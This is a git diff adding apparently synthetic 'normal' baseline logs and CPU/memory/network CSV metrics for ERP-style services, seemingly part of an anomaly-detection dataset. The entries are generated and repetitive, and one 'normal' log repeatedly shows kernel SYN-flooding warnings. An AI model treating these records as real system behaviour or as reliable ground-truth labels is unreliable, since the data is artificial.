@@ -0,0 +1,38 @@ +Jul 15 10:00:20 cron[6789]: (user_id=101) CMD (send-daily-summary-email) +Jul 15 10:00:30 erp-app[3456]: WARN user_id=112 GET /api/v1/reports/annual reason="report generation took 3.5s" +Jul 15 10:00:45 erp-app[3456]: INFO user_id=101 POST /api/v1/data/query status=200 OK +Jul 15 10:01:00 cron[6789]: (user_id=101) CMD (send-daily-summary-email) +Jul 15 10:01:10 erp-app[3456]: INFO user_id=120 POST /api/v1/data/query status=200 OK +Jul 15 10:01:15 erp-app[3456]: INFO user_id=105 POST /api/v1/data/query status=200 OK +Jul 15 10:01:25 erp-app[3456]: INFO user_id=120 GET /api/v1/approval/queue status=200 OK +Jul 15 10:01:40 erp-app[3456]: WARN user_id=105 GET /api/v1/reports/annual reason="report generation took 3.5s" +Jul 15 10:02:05 systemd[1]: Starting daily user session clean up... +Jul 15 10:02:10 cron[6789]: (user_id=105) CMD (send-daily-summary-email) +Jul 15 10:02:15 systemd[1]: Starting daily user session clean up... +Jul 15 10:02:20 erp-app[3456]: INFO user_id=120 GET /api/v1/approval/queue status=200 OK +Jul 15 10:02:25 systemd[1]: Starting daily user session clean up... +Jul 15 10:02:35 erp-app[3456]: INFO user_id=115 POST /api/v1/data/query status=200 OK +Jul 15 10:02:40 erp-app[3456]: INFO user_id=112 initiated action=login status=success +Jul 15 10:03:20 systemd[1]: Starting daily user session clean up... +Jul 15 10:03:35 erp-app[3456]: INFO user_id=105 initiated action=login status=success +Jul 15 10:03:45 erp-app[3456]: INFO user_id=112 PUT /api/v1/invoices/update id=8039 status=200 OK +Jul 15 10:04:40 erp-app[3456]: WARN user_id=101 GET /api/v1/reports/annual reason="report generation took 3.5s" +Jul 15 10:04:45 erp-app[3456]: WARN user_id=105 GET /api/v1/reports/annual reason="report generation took 3.5s" +Jul 15 10:04:50 erp-app[3456]: INFO user_id=120 initiated action=login status=success +Jul 15 10:04:55 erp-app[3456]: INFO user_id=105 POST /api/v1/data/query status=200 OK +Jul 15 10:05:00 erp-app[3456]: INFO user_id=120 GET /api/v1/reports/quarterly status=200 OK +Jul 15 10:05:10 erp-app[3456]: INFO user_id=112 PUT /api/v1/invoices/update id=8014 status=200 OK +Jul 15 10:05:15 erp-app[3456]: INFO user_id=115 GET /api/v1/reports/quarterly status=200 OK +Jul 15 10:05:25 systemd[1]: Starting daily user session clean up... +Jul 15 10:05:35 erp-app[3456]: INFO user_id=120 GET /api/v1/approval/queue status=200 OK +Jul 15 10:05:50 erp-app[3456]: INFO user_id=115 GET /api/v1/reports/quarterly status=200 OK +Jul 15 10:06:00 erp-app[3456]: INFO user_id=105 PUT /api/v1/invoices/update id=8032 status=200 OK +Jul 15 10:06:05 erp-app[3456]: INFO user_id=120 POST /api/v1/data/query status=200 OK +Jul 15 10:06:10 systemd[1]: Starting daily user session clean up... +Jul 15 10:06:20 systemd[1]: Starting daily user session clean up... +Jul 15 10:06:30 erp-app[3456]: INFO user_id=101 POST /api/v1/data/query status=200 OK +Jul 15 10:06:35 erp-app[3456]: INFO user_id=105 PUT /api/v1/invoices/update id=8048 status=200 OK +Jul 15 10:06:40 erp-app[3456]: INFO user_id=105 initiated action=login status=success +Jul 15 10:07:00 erp-app[3456]: INFO user_id=115 GET /api/v1/approval/queue status=200 OK +Jul 15 10:07:15 erp-app[3456]: INFO user_id=112 GET /api/v1/reports/quarterly status=200 OK +Jul 15 10:07:25 erp-app[3456]: INFO user_id=120 PUT /api/v1/invoices/update id=8014 status=200 OK diff --git a/norm_dataset/scenario_9/norm_9_5.csv b/norm_dataset/scenario_9/norm_9_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..982df7d5448e96fce7c241094267cff86bd47687 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-28T09:00:00Z,22.69,39.53,27.8,0.93,1.05 +2025-07-28T09:00:05Z,24.92,47.18,20.78,1.36,1.31 +2025-07-28T09:00:10Z,24.53,47.84,28.7,1.24,1.21 +2025-07-28T09:00:15Z,21.05,43.54,38.08,1.29,1.26 +2025-07-28T09:00:20Z,24.57,44.6,30.14,2.18,0.8 +2025-07-28T09:00:25Z,25.41,47.34,35.22,1.25,1.39 +2025-07-28T09:00:30Z,22.52,44.59,24.83,1.76,0.86 +2025-07-28T09:00:35Z,19.7,35.05,38.06,1.5,1.09 +2025-07-28T09:00:40Z,23.47,47.16,25.95,1.6,1.4 +2025-07-28T09:00:45Z,17.7,53.6,33.36,1.91,0.91 +2025-07-28T09:00:50Z,18.41,38.38,29.38,1.08,1.02 +2025-07-28T09:00:55Z,22.22,40.34,37.18,1.36,1.27 +2025-07-28T09:01:00Z,20.28,44.36,23.2,1.71,1.26 +2025-07-28T09:01:05Z,21.0,47.12,23.22,1.73,1.51 +2025-07-28T09:01:10Z,25.78,36.53,33.02,1.21,1.08 +2025-07-28T09:01:15Z,18.83,50.49,15.0,1.47,0.98 +2025-07-28T09:01:20Z,20.22,45.68,32.78,1.74,1.73 +2025-07-28T09:01:25Z,17.72,50.27,30.41,2.02,1.59 +2025-07-28T09:01:30Z,15.72,51.84,31.15,1.21,1.29 +2025-07-28T09:01:35Z,19.74,55.85,30.53,0.94,1.26 +2025-07-28T09:01:40Z,20.8,45.19,32.39,1.53,1.41 +2025-07-28T09:01:45Z,21.02,38.81,38.88,1.55,0.96 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+2025-07-28T09:06:50Z,17.37,48.97,34.42,1.65,0.87 +2025-07-28T09:06:55Z,17.89,46.99,28.57,1.26,1.27 +2025-07-28T09:07:00Z,19.9,49.93,25.08,1.28,1.24 +2025-07-28T09:07:05Z,17.9,41.57,50.0,1.65,1.05 +2025-07-28T09:07:10Z,16.27,51.23,29.83,1.75,1.18 +2025-07-28T09:07:15Z,16.42,50.76,29.8,1.31,1.03 +2025-07-28T09:07:20Z,20.29,47.49,33.82,1.5,0.89 +2025-07-28T09:07:25Z,19.31,41.02,31.73,1.45,1.12 diff --git a/norm_dataset/scenario_9/norm_9_5.log b/norm_dataset/scenario_9/norm_9_5.log new file mode 100644 index 0000000000000000000000000000000000000000..68ad099c4a2581845ddb0ab9655d57aad51feb7c --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_5.log @@ -0,0 +1,90 @@ +Jul 28 09:00:00 cron[6457]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:00:05 kernel: INFO TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 28 09:00:10 report-generator[6457]: INFO User 45 generated a quarterly sales report. +Jul 28 09:00:15 erp-backend[6457]: INFO Approval request for invoice #12345 by user 99 was approved. +Jul 28 09:00:20 report-generator[6457]: GET /api/v1/invoices?user_id=45 status=200 OK +Jul 28 09:00:25 report-generator[7066]: POST /api/v1/transactions status=201 Created +Jul 28 09:00:30 systemd[1]: INFO Starting daily backup process... +Jul 28 09:00:35 auth-service[7066]: GET /api/v1/invoices?user_id=45 status=200 OK +Jul 28 09:00:40 cron[8967]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:00:45 systemd[1]: INFO Starting daily backup process... +Jul 28 09:00:50 auth-service[6457]: POST /api/v1/transactions status=201 Created +Jul 28 09:00:55 kernel: INFO TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 28 09:01:00 report-generator[7066]: POST /api/v1/transactions status=201 Created +Jul 28 09:01:05 erp-backend[6457]: GET /api/v1/invoices?user_id=99 status=200 OK +Jul 28 09:01:10 report-generator[8967]: GET /api/v1/invoices?user_id=24 status=200 OK +Jul 28 09:01:15 erp-backend[7066]: INFO Approval request for invoice #12345 by user 99 was approved. +Jul 28 09:01:20 kernel: INFO TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 28 09:01:25 kernel: INFO TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 28 09:01:30 cron[6457]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:01:35 erp-backend[6457]: INFO Approval request for invoice #12345 by user 24 was approved. +Jul 28 09:01:40 erp-backend[6457]: POST /api/v1/transactions status=201 Created +Jul 28 09:01:45 systemd[1]: INFO Starting daily backup process... +Jul 28 09:01:50 erp-backend[6457]: INFO User 24 logged in successfully. +Jul 28 09:01:55 report-generator[7066]: POST /api/v1/transactions status=201 Created +Jul 28 09:02:00 cron[8967]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:02:05 report-generator[8967]: GET /api/v1/customers/42 status=200 OK +Jul 28 09:02:10 erp-backend[7066]: GET /api/v1/customers/99 status=200 OK +Jul 28 09:02:15 auth-service[6457]: POST /api/v1/transactions status=201 Created +Jul 28 09:02:20 erp-backend[7066]: INFO User 24 logged in successfully. +Jul 28 09:02:25 systemd[1]: INFO Starting daily backup process... +Jul 28 09:02:30 report-generator[8967]: INFO User 45 logged in successfully. +Jul 28 09:02:35 erp-backend[6457]: POST /api/v1/transactions status=201 Created +Jul 28 09:02:40 kernel: INFO TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 28 09:02:45 kernel: INFO TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 28 09:02:50 report-generator[6457]: GET /api/v1/invoices?user_id=91 status=200 OK +Jul 28 09:02:55 kernel: INFO TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 28 09:03:00 kernel: INFO TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 28 09:03:05 report-generator[8967]: GET /api/v1/invoices?user_id=42 status=200 OK +Jul 28 09:03:10 systemd[1]: INFO Starting daily backup process... +Jul 28 09:03:15 auth-service[6457]: GET /api/v1/invoices?user_id=99 status=200 OK +Jul 28 09:03:20 kernel: INFO TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 28 09:03:25 erp-backend[8967]: GET /api/v1/customers/45 status=200 OK +Jul 28 09:03:30 auth-service[8967]: GET /api/v1/customers/91 status=200 OK +Jul 28 09:03:35 kernel: INFO TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 28 09:03:40 report-generator[8967]: INFO User 45 logged in successfully. +Jul 28 09:03:45 cron[8967]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:03:50 kernel: INFO TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 28 09:03:55 report-generator[8967]: POST /api/v1/transactions status=201 Created +Jul 28 09:04:00 kernel: INFO TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 28 09:04:05 auth-service[6457]: INFO User 45 logged in successfully. +Jul 28 09:04:10 report-generator[7066]: GET /api/v1/customers/24 status=200 OK +Jul 28 09:04:15 cron[7066]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:04:20 auth-service[7066]: POST /api/v1/transactions status=201 Created +Jul 28 09:04:25 erp-backend[6457]: GET /api/v1/invoices?user_id=45 status=200 OK +Jul 28 09:04:30 erp-backend[7066]: GET /api/v1/invoices?user_id=45 status=200 OK +Jul 28 09:04:35 report-generator[6457]: POST /api/v1/transactions status=201 Created +Jul 28 09:04:40 auth-service[8967]: GET /api/v1/customers/24 status=200 OK +Jul 28 09:04:45 systemd[1]: INFO Starting daily backup process... +Jul 28 09:04:50 systemd[1]: INFO Starting daily backup process... +Jul 28 09:04:55 auth-service[7066]: POST /api/v1/transactions status=201 Created +Jul 28 09:05:00 systemd[1]: INFO Starting daily backup process... +Jul 28 09:05:05 erp-backend[7066]: INFO User 91 initiated a batch settlement process. +Jul 28 09:05:10 report-generator[7066]: POST /api/v1/transactions status=201 Created +Jul 28 09:05:15 kernel: INFO TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 28 09:05:20 auth-service[7066]: POST /api/v1/transactions status=201 Created +Jul 28 09:05:25 erp-backend[6457]: POST /api/v1/transactions status=201 Created +Jul 28 09:05:30 report-generator[6457]: INFO User 45 generated a quarterly sales report. +Jul 28 09:05:35 systemd[1]: INFO Starting daily backup process... +Jul 28 09:05:40 cron[7066]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:05:45 cron[6457]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:05:50 auth-service[6457]: GET /api/v1/invoices?user_id=45 status=200 OK +Jul 28 09:05:55 erp-backend[7066]: GET /api/v1/customers/99 status=200 OK +Jul 28 09:06:00 erp-backend[8967]: INFO User 24 logged in successfully. +Jul 28 09:06:05 auth-service[8967]: INFO User 99 logged in successfully. +Jul 28 09:06:10 auth-service[6457]: INFO User 91 logged in successfully. +Jul 28 09:06:15 erp-backend[7066]: INFO User 42 logged in successfully. +Jul 28 09:06:20 auth-service[7066]: GET /api/v1/invoices?user_id=42 status=200 OK +Jul 28 09:06:25 auth-service[8967]: INFO User 24 logged in successfully. +Jul 28 09:06:30 erp-backend[8967]: INFO User 99 logged in successfully. +Jul 28 09:06:35 report-generator[8967]: INFO User 42 logged in successfully. +Jul 28 09:06:40 cron[7066]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 28 09:06:45 report-generator[6457]: INFO User 91 logged in successfully. +Jul 28 09:06:50 systemd[1]: INFO Starting daily backup process... +Jul 28 09:06:55 erp-backend[6457]: INFO Approval request for invoice #12345 by user 42 was approved. +Jul 28 09:07:00 erp-backend[8967]: POST /api/v1/transactions status=201 Created +Jul 28 09:07:05 erp-backend[6457]: GET /api/v1/customers/99 status=200 OK +Jul 28 09:07:10 erp-backend[6457]: POST /api/v1/transactions status=201 Created +Jul 28 09:07:15 auth-service[8967]: INFO User 45 logged in successfully. +Jul 28 09:07:20 report-generator[8967]: GET /api/v1/invoices?user_id=45 status=200 OK +Jul 28 09:07:25 erp-backend[7066]: POST /api/v1/transactions status=201 Created diff --git a/norm_dataset/scenario_9/norm_9_6.csv b/norm_dataset/scenario_9/norm_9_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..4ac142311ab8fc05e640c8f78f7befe69f86be77 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-06-30T10:00:00Z,48.80230988134654,58.70563517672454,40.62685041023516,3.1812524669465407,2.2620255175106747 +2025-06-30T10:00:05Z,49.93815014259816,61.70078442681787,38.32444348247754,2.4481491954211068,2.427292358636221 +2025-06-30T10:00:10Z,69.0993263364047,62.83736077155737,90.0,2.5681418932623883,3.9839921691438454 +2025-06-30T10:00:15Z,57.165799489577395,65.727234241738,37.88520131012124,4.114278855467344,4.336543839290964 +2025-06-30T10:00:20Z,74.13868085547685,66.62265416346017,42.90602171842955,5.840169142586542,1.9100494572137539 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a/norm_dataset/scenario_9/norm_9_6.log b/norm_dataset/scenario_9/norm_9_6.log new file mode 100644 index 0000000000000000000000000000000000000000..d6c5b5f469dd6fe86bc1067e39227aedae73d621 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_6.log @@ -0,0 +1,51 @@ +Jun 30 10:00:00 erp-app[2975]: INFO User 'asmith' logged in from IP 10.0.5.23 +Jun 30 10:00:10 erp-app[2237]: INFO User 'FinanceManager' approved settlement batch B1004 +Jun 30 10:00:20 erp-app[2913]: INFO User 'asmith' initiated financial report generation for report_id='income_statement_jun' +Jun 30 10:00:30 erp-app[2147]: WARN High query latency detected for 'get_trial_balance' service +Jun 30 10:00:40 erp-app[2489]: INFO User 'asmith' logged in from IP 10.0.5.23 +Jun 30 10:00:45 erp-app[2339]: WARN High query latency detected for 'get_trial_balance' service +Jun 30 10:00:50 erp-app[2248]: INFO User 'FinanceManager' approved settlement batch B1001 +Jun 30 10:01:00 erp-app[2005]: INFO User 'jdoe' initiated financial report generation for report_id='balance_sheet_q2' +Jun 30 10:01:10 erp-app[2249]: INFO Report 'income_statement_jun' successfully generated and sent to 'asmith' +Jun 30 10:01:20 erp-app[2320]: INFO User 'FinanceManager' logged in from IP 192.168.1.10 +Jun 30 10:01:30 erp-app[2616]: INFO Data validation check passed for module 'AccountsPayable' +Jun 30 10:01:40 erp-app[2624]: WARN High query latency detected for 'get_trial_balance' service +Jun 30 10:01:50 erp-app[2577]: INFO Report 'balance_sheet_q2' successfully generated and sent to 'FinanceManager' +Jun 30 10:02:00 erp-app[2153]: INFO Reconciling accounts for period 2025-06 +Jun 30 10:02:10 erp-app[2974]: INFO User 'FinanceManager' initiated financial report generation for report_id='income_statement_jun' +Jun 30 10:02:20 erp-app[2940]: INFO User 'FinanceManager' approved settlement batch B1003 +Jun 30 10:02:30 erp-app[2187]: INFO User 'FinanceManager' approved settlement batch B1015 +Jun 30 10:02:40 erp-app[2057]: INFO Data validation check passed for module 'AccountsPayable' +Jun 30 10:02:50 erp-app[2841]: INFO User 'asmith' logged in from IP 192.168.1.10 +Jun 30 10:03:00 erp-app[2042]: INFO Reconciling accounts for period 2025-06 +Jun 30 10:03:10 erp-app[2201]: WARN High query latency detected for 'get_trial_balance' service +Jun 30 10:03:15 erp-app[2563]: INFO User 'auditor_ext' logged in from IP 172.16.31.5 +Jun 30 10:03:20 erp-app[2611]: INFO Starting end-of-month settlement job for company_id=205 +Jun 30 10:03:30 erp-app[2168]: INFO User 'FinanceManager' logged in from IP 172.16.31.5 +Jun 30 10:03:40 erp-app[2396]: WARN High query latency detected for 'get_trial_balance' service +Jun 30 10:03:50 erp-app[2295]: INFO User 'FinanceManager' approved settlement batch B1008 +Jun 30 10:04:00 erp-app[2420]: WARN High query latency detected for 'get_trial_balance' service +Jun 30 10:04:10 erp-app[2431]: INFO Report 'income_statement_jun' successfully generated and sent to 'asmith' +Jun 30 10:04:20 erp-app[2692]: INFO Reconciling accounts for period 2025-06 +Jun 30 10:04:30 erp-app[2557]: INFO Report 'cash_flow_monthly' successfully generated and sent to 'jdoe' +Jun 30 10:04:40 erp-app[2189]: INFO User 'FinanceManager' approved settlement batch B1000 +Jun 30 10:04:50 erp-app[2171]: INFO All settlement jobs completed for the day. +Jun 30 10:05:00 erp-app[2055]: INFO Data validation check passed for module 'AccountsPayable' +Jun 30 10:05:10 erp-app[2102]: INFO Data validation check passed for module 'AccountsPayable' +Jun 30 10:05:15 erp-app[2249]: INFO User 'jdoe' logged in from IP 172.16.31.5 +Jun 30 10:05:20 erp-app[2825]: INFO Starting end-of-month settlement job for company_id=311 +Jun 30 10:05:30 erp-app[2390]: INFO All settlement jobs completed for the day. +Jun 30 10:05:35 erp-app[2592]: INFO All settlement jobs completed for the day. +Jun 30 10:05:40 erp-app[2536]: INFO Report 'balance_sheet_q2' successfully generated and sent to 'auditor_ext' +Jun 30 10:05:45 erp-app[2973]: INFO Starting end-of-month settlement job for company_id=205 +Jun 30 10:05:50 erp-app[2220]: INFO User 'asmith' initiated financial report generation for report_id='cash_flow_monthly' +Jun 30 10:06:00 erp-app[2263]: INFO All settlement jobs completed for the day. +Jun 30 10:06:10 erp-app[2897]: INFO User 'jdoe' initiated financial report generation for report_id='income_statement_jun' +Jun 30 10:06:20 erp-app[2162]: INFO Data validation check passed for module 'AccountsPayable' +Jun 30 10:06:30 erp-app[2528]: INFO User 'FinanceManager' initiated financial report generation for report_id='cash_flow_monthly' +Jun 30 10:06:40 erp-app[2170]: INFO User 'FinanceManager' approved settlement batch B1015 +Jun 30 10:06:50 erp-app[2083]: INFO Reconciling accounts for period 2025-06 +Jun 30 10:07:00 erp-app[2876]: INFO Report 'income_statement_jun' successfully generated and sent to 'FinanceManager' +Jun 30 10:07:10 erp-app[2675]: INFO All settlement jobs completed for the day. +Jun 30 10:07:20 erp-app[2235]: INFO Report 'balance_sheet_q2' successfully generated and sent to 'auditor_ext' +Jun 30 10:07:25 erp-app[2001]: INFO All settlement jobs completed for the day. diff --git a/norm_dataset/scenario_9/norm_9_7.csv b/norm_dataset/scenario_9/norm_9_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..9c51415946f671ea93e98ca2d124a61454d70259 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,15.62,36.2,23.53,1.31,0.89 +2025-07-15T10:00:05Z,24.26,42.13,17.84,1.31,1.14 +2025-07-15T10:00:10Z,20.98,42.61,38.12,1.37,0.96 +2025-07-15T10:00:15Z,18.98,40.61,36.93,1.41,1.05 +2025-07-15T10:00:20Z,12.34,42.71,21.45,1.01,1.44 +2025-07-15T10:00:25Z,12.34,39.94,31.5,1.0,0.89 +2025-07-15T10:00:30Z,10.87,40.23,35.43,1.3,1.46 +2025-07-15T10:00:35Z,22.99,39.28,28.88,1.15,1.41 +2025-07-15T10:00:40Z,19.02,35.25,28.24,1.2,0.7 +2025-07-15T10:00:45Z,20.62,36.08,21.05,1.3,0.57 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+2025-07-15T10:02:30Z,19.11,43.07,28.72,0.55,1.49 +2025-07-15T10:02:35Z,12.56,43.96,32.3,1.03,0.91 +2025-07-15T10:02:40Z,10.98,38.18,31.3,1.04,0.87 +2025-07-15T10:02:45Z,24.23,36.1,20.61,1.14,1.28 +2025-07-15T10:02:50Z,24.48,37.28,32.8,1.23,0.84 +2025-07-15T10:02:55Z,22.13,39.27,20.93,1.48,1.43 +2025-07-15T10:03:00Z,14.57,43.18,23.13,1.02,1.36 +2025-07-15T10:03:05Z,11.47,43.61,33.66,0.82,0.93 +2025-07-15T10:03:10Z,20.26,35.07,31.24,1.3,1.25 +2025-07-15T10:03:15Z,16.6,40.11,36.23,0.77,1.25 +2025-07-15T10:03:20Z,11.83,39.17,31.44,0.94,0.6 +2025-07-15T10:03:25Z,17.43,37.22,29.21,0.58,1.4 +2025-07-15T10:03:30Z,10.52,36.2,17.34,0.53,1.01 +2025-07-15T10:03:35Z,23.64,38.38,24.19,1.46,1.33 +2025-07-15T10:03:40Z,13.88,44.43,21.63,1.34,0.82 +2025-07-15T10:03:45Z,19.94,38.23,21.1,1.2,1.4 +2025-07-15T10:03:50Z,14.68,40.19,39.33,0.91,0.89 +2025-07-15T10:03:55Z,17.8,42.03,24.83,0.67,0.51 +2025-07-15T10:04:00Z,18.2,38.64,37.3,0.66,1.41 +2025-07-15T10:04:05Z,12.77,44.72,30.78,0.75,0.59 +2025-07-15T10:04:10Z,24.54,44.62,34.87,1.05,0.82 +2025-07-15T10:04:15Z,21.63,37.52,27.57,1.21,1.45 +2025-07-15T10:04:20Z,24.09,39.97,29.42,1.16,1.45 +2025-07-15T10:04:25Z,23.42,38.01,27.31,0.78,1.07 +2025-07-15T10:04:30Z,18.97,37.85,19.88,1.45,1.13 +2025-07-15T10:04:35Z,23.83,35.37,33.06,1.24,0.95 +2025-07-15T10:04:40Z,11.33,41.1,22.02,1.05,0.79 +2025-07-15T10:04:45Z,12.94,40.03,15.61,1.11,0.83 +2025-07-15T10:04:50Z,10.68,35.51,31.14,0.92,1.17 +2025-07-15T10:04:55Z,14.88,37.79,19.43,0.75,1.25 +2025-07-15T10:05:00Z,15.83,44.08,38.51,0.86,1.29 +2025-07-15T10:05:05Z,14.07,37.4,38.85,1.26,1.29 +2025-07-15T10:05:10Z,22.43,36.45,37.87,0.51,0.59 +2025-07-15T10:05:15Z,15.35,39.89,24.25,0.62,0.99 +2025-07-15T10:05:20Z,14.21,44.86,15.39,0.55,0.56 +2025-07-15T10:05:25Z,18.14,37.42,38.21,0.54,1.05 +2025-07-15T10:05:30Z,12.11,41.72,25.7,1.36,0.94 +2025-07-15T10:05:35Z,22.03,42.62,39.17,1.2,1.39 +2025-07-15T10:05:40Z,11.12,37.38,39.09,0.97,0.85 +2025-07-15T10:05:45Z,24.8,42.28,36.33,0.6,0.62 +2025-07-15T10:05:50Z,21.58,38.68,22.36,0.99,0.64 +2025-07-15T10:05:55Z,12.98,41.32,24.63,0.97,1.26 +2025-07-15T10:06:00Z,10.08,41.34,36.28,0.67,1.12 +2025-07-15T10:06:05Z,22.23,40.36,22.92,0.93,0.6 +2025-07-15T10:06:10Z,20.6,35.9,19.24,0.9,0.58 +2025-07-15T10:06:15Z,20.94,43.35,28.92,1.12,1.2 +2025-07-15T10:06:20Z,21.57,38.21,38.4,1.14,0.57 +2025-07-15T10:06:25Z,11.11,36.87,32.4,0.55,1.32 +2025-07-15T10:06:30Z,15.38,35.41,29.25,0.87,1.21 +2025-07-15T10:06:35Z,11.74,40.91,17.43,1.13,0.58 +2025-07-15T10:06:40Z,22.95,41.78,30.38,1.0,0.58 +2025-07-15T10:06:45Z,19.35,35.17,39.75,1.36,1.49 +2025-07-15T10:06:50Z,14.96,40.12,18.5,1.16,0.87 +2025-07-15T10:06:55Z,10.95,37.26,27.96,0.66,0.87 +2025-07-15T10:07:00Z,14.66,41.45,36.93,0.57,1.31 +2025-07-15T10:07:05Z,14.88,36.74,33.52,1.14,1.45 +2025-07-15T10:07:10Z,20.94,41.91,32.43,0.53,1.49 +2025-07-15T10:07:15Z,19.56,38.87,32.56,1.09,1.25 +2025-07-15T10:07:20Z,23.31,44.37,23.99,1.44,0.88 +2025-07-15T10:07:25Z,17.08,36.38,22.34,1.08,0.58 diff --git a/norm_dataset/scenario_9/norm_9_7.log b/norm_dataset/scenario_9/norm_9_7.log new file mode 100644 index 0000000000000000000000000000000000000000..2b8d2b1e3a150e4e3ee2363d6420ff68a41724c7 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_7.log @@ -0,0 +1,90 @@ +Jul 15 10:00:00 auth-service[2468]: INFO User 63 logged in successfully +Jul 15 10:00:05 web-app[1357]: POST /api/v1/orders status=201 Created +Jul 15 10:00:10 web-app[1357]: GET /api/v1/user/76 status=200 OK +Jul 15 10:00:15 web-app[1357]: GET /api/v1/user/67 status=200 OK +Jul 15 10:00:20 web-app[1357]: GET /api/v1/user/70 status=200 OK +Jul 15 10:00:25 web-app[1357]: GET /api/v1/dashboard status=200 OK +Jul 15 10:00:30 web-app[1357]: GET /api/v1/dashboard status=200 OK +Jul 15 10:00:35 web-app[1357]: GET /api/v1/inventory/item/1823 status=200 OK +Jul 15 10:00:40 web-app[1357]: GET /api/v1/dashboard status=200 OK +Jul 15 10:00:45 web-app[1357]: GET /api/v1/user/41 status=200 OK +Jul 15 10:00:50 web-app[1357]: GET /api/v1/user/30 status=200 OK +Jul 15 10:00:55 web-app[1357]: GET /api/v1/dashboard status=200 OK +Jul 15 10:01:00 web-app[1357]: GET /api/v1/user/28 status=200 OK +Jul 15 10:01:05 web-app[1357]: GET /api/v1/user/56 status=200 OK +Jul 15 10:01:10 web-app[1357]: GET /api/v1/inventory/item/4486 status=200 OK +Jul 15 10:01:15 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment +Jul 15 10:01:20 web-app[1357]: GET /api/v1/inventory/item/4018 status=200 OK +Jul 15 10:01:25 web-app[1357]: GET /api/v1/inventory/item/1967 status=200 OK +Jul 15 10:01:30 web-app[1357]: GET /api/v1/inventory/item/1667 status=200 OK +Jul 15 10:01:35 web-app[1357]: GET /api/v1/inventory/item/1089 status=200 OK +Jul 15 10:01:40 web-app[1357]: GET /api/v1/inventory/item/4249 status=200 OK +Jul 15 10:01:45 web-app[1357]: GET /api/v1/inventory/item/1739 status=200 OK +Jul 15 10:01:50 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment +Jul 15 10:01:55 web-app[1357]: GET /api/v1/inventory/item/3508 status=200 OK +Jul 15 10:02:00 web-app[1357]: GET /api/v1/dashboard status=200 OK +Jul 15 10:02:05 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment +Jul 15 10:02:10 web-app[1357]: POST /api/v1/orders status=201 Created +Jul 15 10:02:15 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment +Jul 15 10:02:20 systemd[1]: Starting daily backup activities... +Jul 15 10:02:25 web-app[1357]: POST /api/v1/orders status=201 Created +Jul 15 10:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment +Jul 15 10:02:35 web-app[1357]: GET /api/v1/dashboard status=200 OK +Jul 15 10:02:40 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment +Jul 15 10:02:45 auth-service[2468]: INFO User 10 viewed profile page +Jul 15 10:02:50 web-app[1357]: GET /api/v1/user/15 status=200 OK +Jul 15 10:02:55 auth-service[2468]: INFO User 14 viewed profile page +Jul 15 10:03:00 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment +Jul 15 10:03:05 auth-service[2468]: INFO User 83 logged in successfully +Jul 15 10:03:10 web-app[1357]: GET /api/v1/inventory/item/4149 status=200 OK +Jul 15 10:03:15 web-app[1357]: GET /api/v1/inventory/item/1050 status=200 OK +Jul 15 10:03:20 web-app[1357]: GET /api/v1/inventory/item/2469 status=200 OK +Jul 15 10:03:25 systemd[1]: Starting daily backup activities... +Jul 15 10:03:30 web-app[1357]: GET /api/v1/inventory/item/2574 status=200 OK +Jul 15 10:03:35 web-app[1357]: GET /api/v1/dashboard status=200 OK +Jul 15 10:03:40 auth-service[2468]: INFO User 59 logged in successfully +Jul 15 10:03:45 auth-service[2468]: INFO User 14 viewed profile page +Jul 15 10:03:50 systemd[1]: Starting daily backup activities... +Jul 15 10:03:55 web-app[1357]: GET /api/v1/user/56 status=200 OK +Jul 15 10:04:00 auth-service[2468]: INFO User 94 logged in successfully +Jul 15 10:04:05 auth-service[2468]: INFO User 60 logged in successfully +Jul 15 10:04:10 web-app[1357]: GET /api/v1/user/47 status=200 OK +Jul 15 10:04:15 web-app[1357]: GET /api/v1/dashboard status=200 OK +Jul 15 10:04:20 web-app[1357]: POST /api/v1/orders status=201 Created +Jul 15 10:04:25 web-app[1357]: GET /api/v1/inventory/item/4552 status=200 OK +Jul 15 10:04:30 auth-service[2468]: INFO User 39 logged in successfully 